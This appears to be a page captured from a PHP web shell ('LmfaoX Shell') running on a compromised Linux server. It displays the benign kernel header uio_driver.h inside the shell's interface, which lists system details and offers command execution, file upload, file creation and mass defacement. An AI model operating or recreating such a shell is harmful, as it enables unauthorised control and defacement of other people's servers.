ShellBanner
System:Linux MiraNet 3.0.0-14-generic-pae #23-Ubuntu SMP Mon Nov 21 22:07:10 UTC 2011 i686
Software:Apache. PHP/5.3.6-13ubuntu3.10
ID:uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
Safe Mode:OFF
Open_Basedir:OFF
Freespace:23.58 GB of 70.42 GB (33.48%)
MySQL: ON MSSQL: OFF Oracle: OFF PostgreSQL: OFF Curl: OFF Sockets: ON Fetch: OFF Wget: ON Perl: ON
Disabled Functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,

/ usr/ src/ linux-headers-3.0.0-14/ include/ linux/ - drwxr-xr-x

Directory:
Viewing file:     uio_driver.h (3.38 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/*
 * include/linux/uio_driver.h
 *
 * Copyright(C) 2005, Benedikt Spranger <b.spranger@linutronix.de>
 * Copyright(C) 2005, Thomas Gleixner <tglx@linutronix.de>
 * Copyright(C) 2006, Hans J. Koch <hjk@hansjkoch.de>
 * Copyright(C) 2006, Greg Kroah-Hartman <greg@kroah.com>
 *
 * Userspace IO driver.
 *
 * Licensed under the GPLv2 only.
 */

#ifndef _UIO_DRIVER_H_
#define _UIO_DRIVER_H_

#include <linux/module.h>
#include <linux/fs.h>
#include <linux/interrupt.h>

struct uio_map;

/**
 * struct uio_mem - description of a UIO memory region
 * @name:        name of the memory region for identification
 * @addr:        address of the device's memory
 * @size:        size of IO
 * @memtype:        type of memory addr points to
 * @internal_addr:    ioremap-ped version of addr, for driver internal use
 * @map:        for use by the UIO core only.
 */
struct uio_mem {
    const char        *name;
    unsigned long        addr;
    unsigned long        size;
    int            memtype;
    void __iomem        *internal_addr;
    struct uio_map        *map;
};

#define MAX_UIO_MAPS    5

struct uio_portio;

/**
 * struct uio_port - description of a UIO port region
 * @name:        name of the port region for identification
 * @start:        start of port region
 * @size:        size of port region
 * @porttype:        type of port (see UIO_PORT_* below)
 * @portio:        for use by the UIO core only.
 */
struct uio_port {
    const char        *name;
    unsigned long        start;
    unsigned long        size;
    int            porttype;
    struct uio_portio    *portio;
};

#define MAX_UIO_PORT_REGIONS    5

struct uio_device;

/**
 * struct uio_info - UIO device capabilities
 * @uio_dev:        the UIO device this info belongs to
 * @name:        device name
 * @version:        device driver version
 * @mem:        list of mappable memory regions, size==0 for end of list
 * @port:        list of port regions, size==0 for end of list
 * @irq:        interrupt number or UIO_IRQ_CUSTOM
 * @irq_flags:        flags for request_irq()
 * @priv:        optional private data
 * @handler:        the device's irq handler
 * @mmap:        mmap operation for this uio device
 * @open:        open operation for this uio device
 * @release:        release operation for this uio device
 * @irqcontrol:        disable/enable irqs when 0/1 is written to /dev/uioX
 */
struct uio_info {
    struct uio_device    *uio_dev;
    const char        *name;
    const char        *version;
    struct uio_mem        mem[MAX_UIO_MAPS];
    struct uio_port        port[MAX_UIO_PORT_REGIONS];
    long            irq;
    unsigned long        irq_flags;
    void            *priv;
    irqreturn_t (*handler)(int irq, struct uio_info *dev_info);
    int (*mmap)(struct uio_info *info, struct vm_area_struct *vma);
    int (*open)(struct uio_info *info, struct inode *inode);
    int (*release)(struct uio_info *info, struct inode *inode);
    int (*irqcontrol)(struct uio_info *info, s32 irq_on);
};

extern int __must_check
    __uio_register_device(struct module *owner,
                  struct device *parent,
                  struct uio_info *info);
static inline int __must_check
    uio_register_device(struct device *parent, struct uio_info *info)
{
    return __uio_register_device(THIS_MODULE, parent, info);
}
extern void uio_unregister_device(struct uio_info *info);
extern void uio_event_notify(struct uio_info *info);

/* defines for uio_info->irq */
#define UIO_IRQ_CUSTOM    -1
#define UIO_IRQ_NONE    0

/* defines for uio_mem->memtype */
#define UIO_MEM_NONE    0
#define UIO_MEM_PHYS    1
#define UIO_MEM_LOGICAL    2
#define UIO_MEM_VIRTUAL 3

/* defines for uio_port->porttype */
#define UIO_PORT_NONE    0
#define UIO_PORT_X86    1
#define UIO_PORT_GPIO    2
#define UIO_PORT_OTHER    3

#endif /* _LINUX_UIO_DRIVER_H_ */
Command:
Quick Commands:
Upload:
[Read-Only] Max size: 100MB
PHP Filesystem: <@ Ú
Search File:
regexp
Create File:
Overwrite [Read-Only]
View File:
Mass Defacement:
[+] Main Directory: [+] Defacement Url:
LmfaoX Shell - Private Build [BETA] - v0.1 -; Generated: 0.2582 seconds